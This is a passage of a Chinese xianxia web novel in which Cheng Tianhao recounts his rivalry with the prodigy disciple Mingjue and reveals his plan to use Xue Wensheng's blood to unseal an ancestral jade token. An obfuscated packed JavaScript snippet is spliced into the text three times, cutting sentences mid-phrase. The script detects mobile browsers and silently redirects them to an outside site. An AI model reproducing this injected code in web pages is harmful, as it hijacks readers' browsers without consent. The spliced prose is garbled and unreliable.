“我六岁拜入他门下,那时的我,是个再听话不过的孩子。每天寅时起床,打坐练气,诵读道经,学习如何克制血脉中那股不安分的冲动。至臻大师常抚摸我的头,说我是他见过仙根最纯净的弟子,假以时日,必能成就大道。” “我信了。我真的信了。”成天灏语气有些激动,又是怀念,又是嘲讽。 “我努力了十二年,整整十二年。我比所有师兄都刻苦,我比所有师弟都虔诚。我克制,压抑着血脉中每一次躁动,将那些‘不该有’的念头死死按在心底。” 说到这里,他突然笑了,笑声在洞中格外刺耳:“你知道最讽刺的是什么吗?是我真的做到了。在我十八岁那年,我已经能够完全掌控自己的血脉之力,能够运用一些璇光仙裔失传已久的秘法。至臻大师欣慰地告诉我,再这样修行三十年,我便有望迎接第一次小天劫。渡过三劫,就能褪去凡胎,重铸仙根。” 山门外似乎起了风,呼啸声从洞口传来,如泣如诉。 “然后呢?”雪闻笙问。她盘膝坐在地上,双手环抱着膝盖,这个姿势让她看起来格外单薄,她的眼神异常专注。 “然后?”成天灏重复道,眉间闪过一丝红光——是魅族血脉觉醒的标志。 “然后我遇见了明决。” 这个名字此刻忽然出现,雪闻笙身体微微一震。 “这么激动做什么?”成天灏瞟了她一眼,靠回岩壁,闭上了眼睛。 “算算时间,那会儿我在至臻大师门下修行十二载。已经能独自施展‘引星诀’,那可是连许多师叔长辈都难以掌握的秘术。” 他说话语气很平静,但雪闻笙听出了深藏其中的自傲。 “师门上下都宠着我,让着我。其他弟子看我的眼神,有羡慕,有嫉妒,但更多是敬畏。那时候我以为,我会这样一路修行下去,然后迎接天劫,重铸仙根,完成魅族数万年来无人能及的壮举。” 成天灏睁开眼睛,眼中闪过一丝嘲讽:“我太年轻了,年轻到以为世界就该围着我转。直到明决出现。” 数年前,昆仑山。 晨钟敲过三响,云雾缭绕的清台练功场上,数十名白衣弟子收了嬉笑,已经列队整齐。 成天灏站在队伍最前方,他身姿挺拔,晨光落在他月白色的道袍上,衬得那张俊美的脸愈发耀眼。 “成师兄今日气色真好,凡间儿郎哪个都比不过你俊俏。”身旁的小师妹低声夸赞了一句,脸颊微红。 成天灏那时也很青涩,完全没有后来的邪狞之气,闻言微微一笑,算是礼貌回应。 他心里一直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16982246|192244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惦记着远处山门方向,今日是至臻大师下山游历归门的日子,大家特来迎接,按惯例大师也会亲自检视弟子们的修行进度,加以点播,教化。 “听说大师这次游历,是为了参悟‘浮化真解’最后一重。”一个声音在身后响起,是二师兄芬生,“若真能参透,我们或许能重现先祖荣光。” “嘘,小声点。哪有那么容易。”三师姐静仪摇头,“‘浮化真解’最后三重已经失传千年......” 话音未落,山门方向传来一阵不寻常的气息浮动。 众弟子纷纷转头望去,只见苍翠掩映的石阶尽头,有人正拾级而上。 最先入眼的是一袭青色道袍,来人步态从容,不疾不徐,转瞬已至近前。 待他走近,众弟子才看清他的容貌。 不知他年岁几何,一头长发如雪,泛着皎月一样的清辉,用一根竹枝随意绾在脑后,几缕散发垂落肩头,平添几分随性。 至臻大师在众弟子前方站定,整张脸既有仙家的清癯,又不失饱满的生气,此刻那双眼中含着淡淡的笑意,眼波流转间,竟有星辰明灭般的微妙光采。 真正的宗师风范,从来不需要华丽的排场或刻意的张扬,就像此刻的至臻大师,随意站在那儿,便已诠释了何谓“道法自然”,何谓“返璞归真”。 成天灏站在队伍最前方,即使骄傲如他,此刻也不由自主地微微垂首。 更让成天灏心中一动的,是大师身侧,跟着一个少年。 众人好奇,都盯着他看。 那少年约莫十一二岁年纪,穿着一身不合身的粗布衣裳,泛了白,但是干净整洁。他站得笔直,一张脸在晨光中显得过分苍白,仿佛很久不见日光的病弱模样。 但他的眼睛非常吸引人,看人时毫无波澜,里面没有孩童的天真,也没有初来者的怯懦。 少年就那样静静地跟在大师身侧,不理喧嚣。 “那是谁?”弟子中响起窃窃私语。 “没见过,可能是新入门的小师弟吧?” “大师亲自领来的......这待遇连成师兄当年都没有啊。” “嘘......慎言。” “啊?哦,哦。” 成天灏微微皱眉。 他记得自己六岁拜师时,是父亲牵着手上山的,大师只是在殿中接见。这少年何德何能啊,山下哪个野地方来的? 至臻大师目光扫过众弟子,最后落在成天灏身上,点了点头:“天灏,近来修行可还顺利?” “回大师,弟子已将‘引星诀’练至第三层。”成天灏拱手回答,声音清朗。 周围响起一片低低的惊叹。 引星诀共分九层,大多数弟子终其一生只能练到第二层,成天灏十八岁便至第三层,确实堪称天才。 果然,至臻大师眼中露出赞许之色,随即转向身侧的少年:“明决,这位是成天灏,按辈分,算是你师叔,他是门中年轻一代的翘楚。日后修行上有何疑问,可多向他请教。” 那名叫明决的少年抬起眼,看向成天灏。 两人目光相接的一瞬,成天灏心头莫名一跳——那眼神太静了,静得不像一个孩子。 明决微微颔首,声音清冷:“见过师叔。” 没有多余的话,甚至连基本的寒暄都省略了。 这种态度让成天灏有些不快,但他还保持着风度:“小师侄不必多礼。既入我师门,便是一家人。” 至臻大师道:“好。” 随即向众弟子宣布:“明决从今日起正式入我门下。日后你们要多加照拂,不可怠慢。” “是。”众人应道。 “额......敢问大师,明决师弟是何方人士?”芬生忍不住问出了众人疑问。 至臻大师沉默片刻,缓缓道:“明决乃我故人之子,其父母皆已不在人世。其中细节,你们不必多问。” 这话说得太含糊了,更引起了众人的好奇。 什么样的故人之子,能让大师如此重视?又是什么样的身世,需要如此讳莫如深? 成天灏仔细打量着明决。 少年站在那里,对周围的议论和目光毫无反应,一直望着远处云雾缭绕的山峰,仿佛灵魂已经飘向了别处。 44. 第 44 章 下午,授业堂。 按照门规,新弟子入门需在授业堂受训三月,学习基础功法与戒律。 成天灏作为资历颇深的优等弟子,有时会来此指点师弟师妹和小后辈。 这天他走进授业堂时,正看见明决独自坐在角落,前面摊着一本《万物生基础心法》。堂内其他弟子们三五成群,或交流心得,或嬉笑打闹,只有明决一人,与周遭格格不入。 “小师侄。”成天灏走过去,问他,“可有什么不解之处?” “没有。”明决抬起头,答道。 “没有?”成天灏有些意外,“哦,这心法虽为基础,但也有诸多精妙之处。你若全无问题,不妨背一遍第一章给我听听?” 明决合上书,开始背诵:“万物之始,源于太初。天地未分,混沌未判,有光自虚无中生......” 他字字清晰,不仅将第一章背得一字不差,连注解都一并背出。 成天灏越听,心里越震动。 明决背诵的时候眼神清明,显然不是在死记硬背,是真正理解了其中奥义。 这《万物生基础心法》第一章虽然不算艰深,但其中涉及诸多玄奥概念,普通人至少要研读半月才能勉强理解。明决这才拿到书不过两个时辰...... “好了,好了。”成天灏不得不喊停。 “咳咳,你可知道‘盘光’二字作何解?”成天灏试探着问。 “盘为旋转不息,光为明照万物。”明决回答,语气依旧平淡,“盘光合一,意为运转不息之明光,既是天地初开之象,亦是我辈修行之根本——内旋真气,外照本心。” 成天灏怔住了。 这回答不仅正确,简直比传功长老讲解的还要精辟。 “谁教你的?”他忍不住问。 明决看着他,沉默片刻:“书上写的。” 乱说,他倒背如流,怎么不记得有这几句,难道是哪里注解的小字他漏掉了? “可书上的注解没有这么......” “注解是死的,道理是活的。”明决说完这句,便重新低下头看起书来,显然不打算继续跟他交谈了。 成天灏站在那儿,第一次感到了某种说不清道不明的情绪。 那可不是一个前辈对后辈的欣赏,而是隐约的警惕之意。 三日后,晨练场。 因为昆仑山有独特的地理优势,所以晨练有一套独特功法,名为“引气朝阳诀”,需在日出时分面对东方,引朝阳初升之紫气入体,以净化经脉,夯实根基。 成天灏站在队伍最前方,带领众师弟们演练。 他动作行云流水,周身隐隐有淡紫色光晕流转,那是引气入体的标志,表示功法已臻小成。 一套练罢,他收功转身,正准备指点师弟们的不足,却忽然愣住了。 队伍末尾,明决独自站立,刚刚完成收势,他的周身,隐隐有一层淡金色的光华! “那是......”芬生也看见了,惊得说不出话。 “朝阳金辉!”师姐静仪低呼,“只有将朝阳诀练到极高境界,才能引动朝阳中最精纯的金辉之气......可,这怎么可能?他才入门三天呐!” 众弟子哗然,纷纷看向明决。 而当事人却毫无所觉,静静地站在原地,等待下一个指令。 “明决。”成天灏走过去,尽量让自己的声音保持平稳,“你,以前练过这套功法?” “没有。”明决摇头。 “那你怎么......” “照着师叔你练的。”明决实实在在解答他的疑惑,“动作不难,心法也简单。” 照他的动作练得?那他怎么没有金辉之气? “不难?”成天灏差点气笑。这套朝阳诀,他当年足足练了三个月才勉强引气入体,而明决却说“简单”? “天灏。”一个温和的声音从身后传来。 众人回头,只见至臻大师不知何时已站在授业堂门口,正含笑看着这边。 “明决天赋异禀,对修道练功有着天然的亲近。”大师缓步走来,在明决肩上轻轻一拍,“但修行之路漫长,天赋只是起点。明决,天灏天资卓绝又勤勉刻苦,你需多向他学习,不可因天赋而自满。” “是。”明决低头应道,语气平淡。 但成天灏却听出了大师话语中的深意,在提醒自己,也在提醒所有人:明决的天赋,或许在他之上。 所以,他成天灏日后更要勤加苦练才行。 昆仑山的秋日来得格外早,晨雾还未散尽,论道阁的飞檐上已凝了薄薄一层白霜。 每月初一的论道会,是年轻弟子最期盼也最紧张的时刻。 既能在师长面前展示修行进度,又能与同门切磋心得,偶尔还有机会聆听至臻大师即兴开示。 成天灏寅时未到便已起身,对镜仔细整理衣冠。 月白色的弟子袍纤尘不染,玉簪将墨发束得一丝不苟。他望着镜中俊朗的容颜,深吸一口气。 今日的论道,他准备了整整七日,务必要让所有人看到他的悟性与进步。 “成师兄今日定能大放异彩。”门外传来师弟芬生的声音,带着一点讨好的笑意,“我听说连守静长老都特意出关,要来听这次论道呢。” 成天灏推门而出:“论道求真,非为争胜。芬生,你心不静了。” 芬生讪讪一笑,连忙跟上。 两人并肩穿过回廊,沿途不断有弟子恭敬行礼。 成天灏微微颔首,步履从容,心中却有些不安。 当然是惦记着那个一个月前突然出现的少年,明决。 辰时三刻,论道阁。 阁内坐满了弟子,按照入门先后分列蒲团。 前排是各家亲传,中排是内门弟子,后排则是刚入门的新人。 成天灏自然而然的坐在最前排,最正中的位置,他的左右分别是静仪和六师弟云逸。 “今日人可真齐。”静仪环顾四周,轻声道,“不光有守静长老,常年在外游历的紫阳师叔都回来了。” 云逸是个活泼性子,闻言挤眉弄眼:“师姐没听说么?大家都想瞧瞧那位‘天才’小师弟今日会不会开口呢。” 他说话时,目光有意无意瞟向后排角落。 明决也来了。 他依然坐在角落,安安静静,不发一言。 “云逸,慎言。”成天灏淡淡开口,“那小,小师侄初入门墙,我等身为长辈师叔师兄师姐,当以身作则,岂可背后议论?” “是是是,成师兄教训得是。”云逸吐了吐舌头,不敢再多言。 静仪看了成天灏一眼,欲言又止。 她与成天灏一同长大,最是了解这位师兄骨子里的骄傲。这一个月来,明决虽然沉默寡言,但几次不经意间显露的悟性,已经让门中暗流涌动。 今日论道,恐怕...... “铛,铛,铛——” 钟声响起,众弟子肃然。 三位长老缓步入阁,为首的是长老玄真子,一位面色红润的老者,以学问渊博,为人随和著称。 他身后跟着守静长老和紫阳长老,三人分别在主位落座。 “今日论道,依例由弟子先言。”玄真子捋须微笑,目光扫过下方,“老规矩,论题自选,但需紧扣修行实际。谁先来?” 短暂的沉默后,一个怯生生的声音响起:“弟子......弟子先抛砖引玉。” 站起来的是一位的娇俏可人女弟子,名叫聂婉儿,今年刚满十三岁,圆圆的脸蛋上还带着稚气。 她绞着衣角,小声道:“弟子近日修行‘引气诀’,总觉得气息运转至膻中穴时滞涩不畅,不知是何缘故......” “哈哈哈哈哈哈......” 人小姑娘话还没说完,后排就传来一阵哄笑,几个年纪稍长的弟子忍不住笑出声。 “聂师妹,这是论道,不是问诊堂!” “引气不畅多半是姿势不对,脑子稍微转个弯儿一想就通了,也值得在这里问?” 聂婉儿涨红了脸,眼看就要哭出来。 “肃静。”玄真子声音温和,却让阁内瞬间安静。 “修行无小事,婉儿能察觉细微滞涩,已是难得。况且......”他看向那几个发笑的弟子,“你们当年初学时,问的问题可比这稚嫩多了。” 那几个弟子顿时低头不语。 静仪见状,起身解围:“婉儿师妹所述,我倒有些体会。膻中为气海之枢,气息滞涩,未必是功法有误,或许是心绪不宁所致。我初学引气时,也常因急于求成而气息紊乱。不妨试试在练功前静坐片刻,默诵清心咒,待心神安定再行运气。” 她声音轻柔,条理清晰,既解了聂婉儿的围,又给出了切实建议。 玄真子赞许点头:“静仪所言甚是。修行修行,修心在前,行功在后。下一位?” 有了开头,气氛逐渐活跃起来。 弟子们依次起身,有的提出修行困惑,有的分享近日感悟。有的见解浅显却真诚,有的则引经据典,侃侃而谈。 “成师兄,该你了!”云逸压低声音催促,眼中闪着期待的光。 成天灏缓缓起身,向三位长老躬身一礼,然后转向同门。 这一个月的准备,终于到了展示的时刻。 “弟子近日研读《盘光妄释》残卷,对其中‘气与意合,意与神合’之境有所体悟。”他声音清朗,缓缓道来。 “寻常修行,多强调以意导气,以神驭意。然弟子以为,此三者本为一体,强分先后,反落了下乘......” 他阐述自己的理解,从经络运行讲到心神调控,从日常练功引申到天地大道。旁征博引,逻辑严密,阁内鸦雀无声,连三位长老都听得专注。 一刻钟后,成天灏收住话头,再次躬身:“弟子浅见,请长老,各位同门指正。” 短暂的寂静后,掌声响起。 玄真子抚掌笑道:“好一个‘气意神本为一体’!好啊!守静师弟,你以为如何?” 守静长老素来严肃,此刻也微微颔首:“根基扎实,悟性上佳。假以时日,可期大道。” 得两位长老如此评价,众弟子看成天灏的目光愈发崇敬。 几个年轻女孩们甚至偷偷红了脸,不停小声议论着什么。 成天灏面色平静地落座,袖中的手却微微握紧。 成了。 这一个月的苦功总算没有白费。 “可还有弟子要发言?”玄真子环视阁内。 众人面面相觑。 有成天灏珠玉在前,谁还敢轻易开口? 就在玄真子准备进入下一环节时,一直沉默的紫阳长老摆了摆手,忽然开口:“我此次回来,听闻门中来了位天赋异禀的新弟子。今日既然论道,何不也让新弟子说一说?” 他说话时,目光直直投向角落里的明决。 所有人的视线随之转移。 那一角沉默的少年正闭目端坐,仿佛没听见紫阳长老的话。 “明决。”玄真子温和唤道,“你可有修行体悟要与同门分享?” 明决睁开眼。 他站起身,向三位长老行礼,然后转向众人,声音清冷平静:“弟子入门日浅,不敢妄言大道。但近日读《盘光妄释》,对第九章‘光随心动’四字,确有些许疑惑。” “哦?”玄真子来了兴趣,“说来听听。” “弟子愚见,‘光随心动’之要,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987275|192244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在先后,而在合一。”他开口,语速平稳,每个字都像经过深思熟虑,“师叔方才说,需先修心,再引光,使心如明镜,光才能随心流转。此说固然有理,但将心与光分作两事,终究隔了一层。” 成天灏眉头微蹙。 明决继续道:“《妄释》第二章开篇即言:‘光生万物,心感光而明’。光在先,心在后。天地初开,先有光,后有生灵,生灵有心,心感光而渐明。此乃自然之序。” 他抬起手,指尖在空气中虚划。 晨光透过窗户,正好落在他指尖,随着他的动作微微流转,聚成一团柔和的光晕。 “诸位请看。”明决的声音依旧平静,“光在此处。我未刻意修心,未刻意凝神,只顺着光之本性,任其流转。此时我的心在做什么?在观察,在感受,在随光而动。光引我心,心随光转,渐渐不分彼此,这便是‘光随心动’。” 他指尖的光晕好像听懂了他的话,随着他的话语变化形状,时而如流水,时而如烟云,灵动自然,毫无滞涩。 “如婴孩学步。”明决收回手,光晕自然散去。 “岂有先学站稳,再学迈步之理?定是迈步中求稳,跌倒中学习。光亦如此——当在引光中修心,在驭光中明性。强分先后,强立步骤,反失了自然圆融之本意。” 话音落下,所有人都怔住了。 包括三位长老。 这番话,与成天灏的见解看似相近,实则内核截然相反。 成天灏强调修行次第,主张循序渐进。 明决却直指本源,认为道法自然,本无步骤可分。 更可怕的是,明决不仅说得透彻,方才随手引动晨光的手段,已展露出对“光”的惊人亲和力,那是许多修行多年的修士都做不到的! 玄真子第一个回过神,抚掌大笑:“妙!妙啊!老夫钻研此道数十年,终日思索如何‘以心驭光’,却从未想过,或许该‘以光引心’!明决,你这番见解......你这番见解......” 老人激动得胡须都在颤抖,竟一时语塞。 守静长老深深看了明决一眼,缓缓道:“天纵之才。” 四个字,重若千钧。 成天灏坐在蒲团上,觉得浑身血液都往头上涌,他脸上火辣辣的,像被人当众扇了几个大耳光。 他抬眼看向明决。 那少年已经坐回蒲团,又开始闭目养神,晨光落在他脸上,在长长的睫毛下投出淡淡的阴影。那样平静,那样自然,好像刚才只是说了句“今日天气不错嘛”。 周围的窃窃私语也如潮水一样涌来,小辈们更是“童言无忌”。 “天啊,明决小师弟才十一岁......” “他说得好像比成师叔更有道理哎?” “何止有道理!你们看到没,他随手就引动了晨光!那手法我闻所未闻,见所未见......” “嘘,小声点,别说了,别说了,你没看见吗?成师叔脸都黑了......” 惊讶、赞叹、羡慕、好奇......种种情绪在弟子们眼中流转。甚至有几个原本崇拜成天灏的年轻弟子,此刻看明决的眼神已带上了敬畏。 成天灏对此可太熟悉了。 那些都是曾经聚焦在他身上的目光,但,此刻全转向了角落里的明决。 云逸张了张嘴,想说什么,被静仪一个眼神制止了,她轻轻摇了摇头,眼中满是担忧。 玄真子还在激动地与守静,紫阳两位长老讨论明决的见解,三位老人完全忽略了阁内微妙的气氛。 等成天灏松开紧握的拳头,掌心里已经多了四道深深的月牙痕。 他强迫自己深吸一口气,面上逐渐复平静,露出温和的笑,朝看向他的几个小后辈点了点头。 他自己清楚,心里有什么东西,在这一刻,划开了一道口子。 论道会还在继续,后面的发言已经没人认真聆听了。 成天灏面子功夫做的很完美,端坐如钟,目光平视前方,却悄悄用眼角余光,死死锁住了角落里的那个身影。 夜晚,成天灏独自坐在澄心堂中,对着窗外明月发呆,月光照在他俊美的脸庞上,却探照不出他的心事。 蓦然,敲门声响起。 “进来。”他头也不回。 门开了,进来的是师姐静仪。 她端着一盘灵果,放在桌上,看着成天灏的背影,终是轻叹一声:“你还在想白天论道的事?” “没有。”成天灏偏了偏头,矢口否认。 静仪走到他身边,与他并肩看向窗外:“天灏,你是我们看着长大的天才。但你要知道,天外有天。明决那孩子......确实非同一般。” “师姐也这么认为?”成天灏扭头看她,眼中闪过一丝不甘。 “不是我认为,是事实,只是你不想接受。”静仪摇头,“你知道大师为什么如此重视他吗?” “不知道。你告诉我,为什么?”成天灏闭上了眼睛,像是在问静仪,又像是喃喃自语。 静仪咬了咬唇,心里再三斟酌,吞吐道:“我......昨日去送内殿送丹药,偶然听到大师与戒律长老的谈话......天哪,你简直想不到!” 言到此处,她忽然急促呼吸,片刻缓下之后,压低声音道:“明决......他的父母,似乎与多年前那场暴乱有关......” 成天灏猛然睁开眼睛,扭过头,满眼不可置信,哑声问道:“什么暴乱?” 静仪仰头,闭上眼睛,不答。 她知道,成天灏明白。 所有人都不忘记那场暴乱。 成天灏捏住静仪的左肩,盯着她苍白的脸,一字一句道:“你说的,不会是“青城之乱”吧?” 45. 第 45 章 静仪轻轻点了点头。“所以大师才亲自接他上山......” “你不必事事与他比较。你们本就不是同路人。你是清清白白的宗门弟子,而他,注定要背负一生的罪孽与秘密。” 静仪说完就离开了,留下成天灏独自沉思。 他忽然想起明决的眼睛,里面的安静原来是见过太多之后,沉淀下来的死寂。 他是接纳这个神秘的师弟,还是将他视为威胁呢? 月光下,成天灏眉间的一缕红光,隐隐闪烁。 洞中,成天灏从回忆里抽离,长长吐出一口气:“明决的出现,像一块石头投入平静的湖面,激起的涟漪最终演变成滔天巨浪。而我,就是被巨浪卷走的人之一。” “你恨他吗?”雪闻笙静静地听着,很久才问。 “恨?” 成天灏笑了,笑声里满是讽刺:“恨一个什么都不知道的孩子?恨一个只是站在那里,就让我看清自己所有软弱与狭隘的人?不,我不恨明决。我恨的是那个因为他的出现而动摇的自己,恨的是那个明明拥有天赋,却因为嫉妒而迷失的自己。” 他站起身,走到洞口,望着外面渐亮的天空:“但那些都是往事了。现在的明决,早已经不是当年的沉默少年,也成为了我最熟悉的陌生人。” 雪闻笙也站起身,走到他身边:“你为什么要告诉我这些?” 成天灏转头看她:“因为你要知道,你即将面对的是什么。明决,他不仅仅是你认识的那个人。他是百年不遇的天才,是背负着沉重秘密的宿命之子。” 他顿了顿,一字一句道:“,也是可能成为你最后敌人的人。” 雪闻笙像是没听见,忽然问:“明决也是魅族吗?” 成天灏又笑了,带着猫捉老鼠般的戏谑:“呵呵,终于问到重点了。我就知道,你最关心的始终是明决。关于他以前的故事可太精彩了,几天几夜都说不完呐......” 雪闻笙的脸色白了白,依然坚定:“我想知道。” “可惜,”成天灏摊开手,“我今晚说得够多了。”他指了指自己胸口,“而且明决留下的禁制还在发作,我需要专心疗伤。你想听故事,等我们彼此更信任一些的时候,我会都告诉你得。” 这明显是在推托。 雪闻笙抿紧了嘴唇,知道再追问也无济于事。 成天灏是那种只按自己节奏行事的人,逼他只会适得其反。 “那你带我来这儿,到底有什么打算?”她换了个问题,“玉牌里的秘密是什么?你为什么要得到它?” 成天灏把玩着手中的玉牌:“里面藏着先祖仙裔失落的一部分传承。对你来说,它可能只是个纪念品,但对我来说,它是钥匙。” “什么钥匙?” “当年我们的先祖就是因为试图打开那个神秘领域而受天谴。但这些年来,我研究了所有能找到的古老典籍,得出一个结论,他们不是错在尝试打开,而是错在方法不对,时机不对。” 他握紧玉牌:“这玉牌里记载的,是正确的方法。而时机,也快到了。” 雪闻笙感到一阵寒意:“你想做什么?” “我想完成祖先未竟之事。我想看看,那片领域里到底有什么。我想知道,天道到底在害怕什么,以至于要如此严厉地惩罚任何试图窥探的人。” “你不怕再次招来天谴吗?”雪闻笙问。 “天谴?”成天灏大笑,笑的浑身颤抖。 “你不知道吗?我已经被天谴了一辈子了!从出生开始,我就背负着先祖的罪孽,无论我怎么努力修道,怎么克制自己,那道无形的枷锁永远都在。既然如此,我为什么不索性打破它?如果天道不公,我为何要顺天而行?” “雪闻笙,你有没有想过,为什么魅族会被诅咒?真的是因为先祖犯了错吗?还是因为,他们看到了不该看到的东西?知道了不该知道的秘密?” 这个问题让雪闻笙愣住了。 她从来没有从这个角度思考过。 成天灏有些疲惫,靠回岩壁上:“当然,这些都是后话。眼下最重要的是疗伤,然后找个安全的地方,解开玉牌中的秘密。而你......” “很奇怪,你的血脉很稀薄,我几乎都感觉不到了,但你毕竟也是璇光仙裔的后代。玉牌的封印需要魅族精血才能完全解开。这就是我带走你,来到这里的原因。” “你要用我的精血?”雪闻笙的声音很平静,仿佛在谈论别人的事。 “必要的时候,是这样的。”成天灏毫不掩饰,“但放心,我不会杀你。你活着比死了有用,至少现在是这样。” 这赤裸裸的利用宣言,反而让雪闻笙感到安心。 至少成天灏不掩饰自己的目的,这比那些口蜜腹剑的正道人士要真实得多。 “如果我拒绝呢?”她问。 成天灏冷哼道:“你觉得自己有选择吗?” 两人对视良久。 洞中的光影忽明忽暗,在岩壁上投下摇曳的影子。 “没有。”雪闻笙最终承认,“但你可以选择如何对待我。是把我当作工具,还是别的什么。” “别的什么?”成天灏饶有兴致地问,“同伴?盟友?还是师徒?” “你的想法,计划。”雪闻笙直视他的眼睛,“告诉我真相。如果注定要成为棋子,至少让我知道自己身在怎样的棋局中。” 成天灏沉默了片刻,然后缓缓点头:“很合理的要求。我可以答应你,在我认为合适的时候,告诉你合适的真相。” “这不公平。”雪闻笙说。 成天灏闭上眼睛,开始调整呼吸,显然准备继续疗伤,“这世界本来就不公平。至少,我承诺不会对你说谎。这已经比绝大多数人强了,不是吗?” 雪闻笙无法反驳。 “你休息吧。”成天灏闭着眼睛说,“明天我们要离开这里,去到一个地方。随时可能有人会追来,虽然我布下了障眼法,但不敢保证万无一失。” “下一个地方是哪里?”雪闻笙问。 成天灏嘴角微扬:“一个你绝对想不到的地方,睡吧,养足精神。” 雪闻笙闭上眼睛,但没有睡,在脑海中反复思考成天灏刚才讲述的一切。 堕落神祇,天道诅咒。 她隐隐觉得,自己进入了一个远比想象中更大的漩涡,而成天灏这个人,也比她最初以为的要复杂得多。 他不仅是那个残忍绑架她的恶人,也不仅是那个离经叛道的魅族叛徒。 某种意义上,她理解他。 她也曾被世界背叛,也曾感受到那种无处可归的孤独。只是她选择了向内收缩,将自己封闭起来,而他选择了向外爆发,与整个世界为敌。 哪一种选择更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998021|192244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好?她也不知道。 雪闻笙不知道自己什么时候睡着的,好像在意识模糊之前,她听到成天灏在低声念诵什么,是一种她没有听过的语言,音节古老拗口,带着奇异的美感,像星辰运转,又像光阴流逝的叹息。 她破天荒的做了一个梦。 梦里,她看见了一片星光大海,看见了一群身着流光长袍的身影站在时光的岸边,他们个个都是仙人之姿,齐心协力想要横渡那条名为“永恒”的河流。 然后一道天罚降临,星光全都熄灭了,那些美好的身影也像流星一样坠落了。 坠落中,他们飘逸的长袍化作了灰烬,身上的光环也变得黯淡无光,只有眼中不甘的光芒,穿越了万古时光,清晰的落在了她的梦里。 她在梦中伸出手,迫切的想要接住那点光芒。 然后天亮了。 洞口的缝隙透进第一缕晨光,灰尘在光柱中飞舞,朦胧间有几分像梦中的星河。 成天灏早就醒了,正站在洞口远眺。 晨光勾勒出他挺拔的侧影,那一刻,雪闻笙仿佛真的看到了他口中那些“堕落神祇”的影子,那种与生俱来的高贵,那种被污染却依然耀眼的光芒。 “醒了?”他没有回头,“准备一下,我们出发。” “去哪里?”雪闻笙坐起身,感觉全身酸痛,精神却意外地清醒。 成天灏转过身,眼睛微微发亮,吐出三个字: “尘寂山。” 雪闻笙愣住了,以为自己听错了:“......哪里?” “哼,最危险的地方就是最安全的地方。”成天灏打断她,“明决一定以为我们会逃得越远越好,不会想到我们敢回尘寂山的。” “而且,那里有我需要的东西。一些只有尘寂山才有的古老遗迹。” 雪闻笙忽然明白了:“你要去找圣剑?” 成天灏微微一笑:“聪明。” “成天灏。”雪闻笙很想问他。 “嗯?” “你后悔吗?”她问,“后悔叛出师门,走上这条路吗?” “后悔?不。但我偶尔会想,如果当年大师能给我一个不同的答案,如果明决能给我一个不同的答案,我的命运会不会不同。” “但命运没有如果。而且,即使重来一次,我可能还是会做出同样的选择。有些人天生就无法忍受枷锁,哪怕是金色的枷锁。” “走吧。”成天灏说,“做好准备,这次回去,外面的世界可能已经变了。” 雪闻笙不解其意,成天灏没有给她太多思考的时间,拉着她进了一方秘密通道。 他们在黑暗里走了很久很久,雪闻笙晕头转向,脚下走过一大片湿漉漉的藤蔓之后,拨开藤蔓,刺目的阳光让雪闻笙眯起了眼睛。 她发现自己站在一处山坡上,向下望去,尘寂山熟悉的景色映入眼帘。 但她敏锐察觉到有什么地方不一样了,有一种紧绷的凝滞感。远处的山道上,不时有穿着各色服饰的人影闪过,他们行色匆匆,嘴里念叨着,好像在搜寻什么。 “这才一天时间,就已经有这么多人出动了。”成天灏摇了摇头。 “他们在找我们?”雪闻笙低声问。 “当然。”成天灏观察着下方,“不过他们找的是‘被邪魔掳走的无辜少女’,而不是‘两个魅族后裔’。我们还是有优势的。”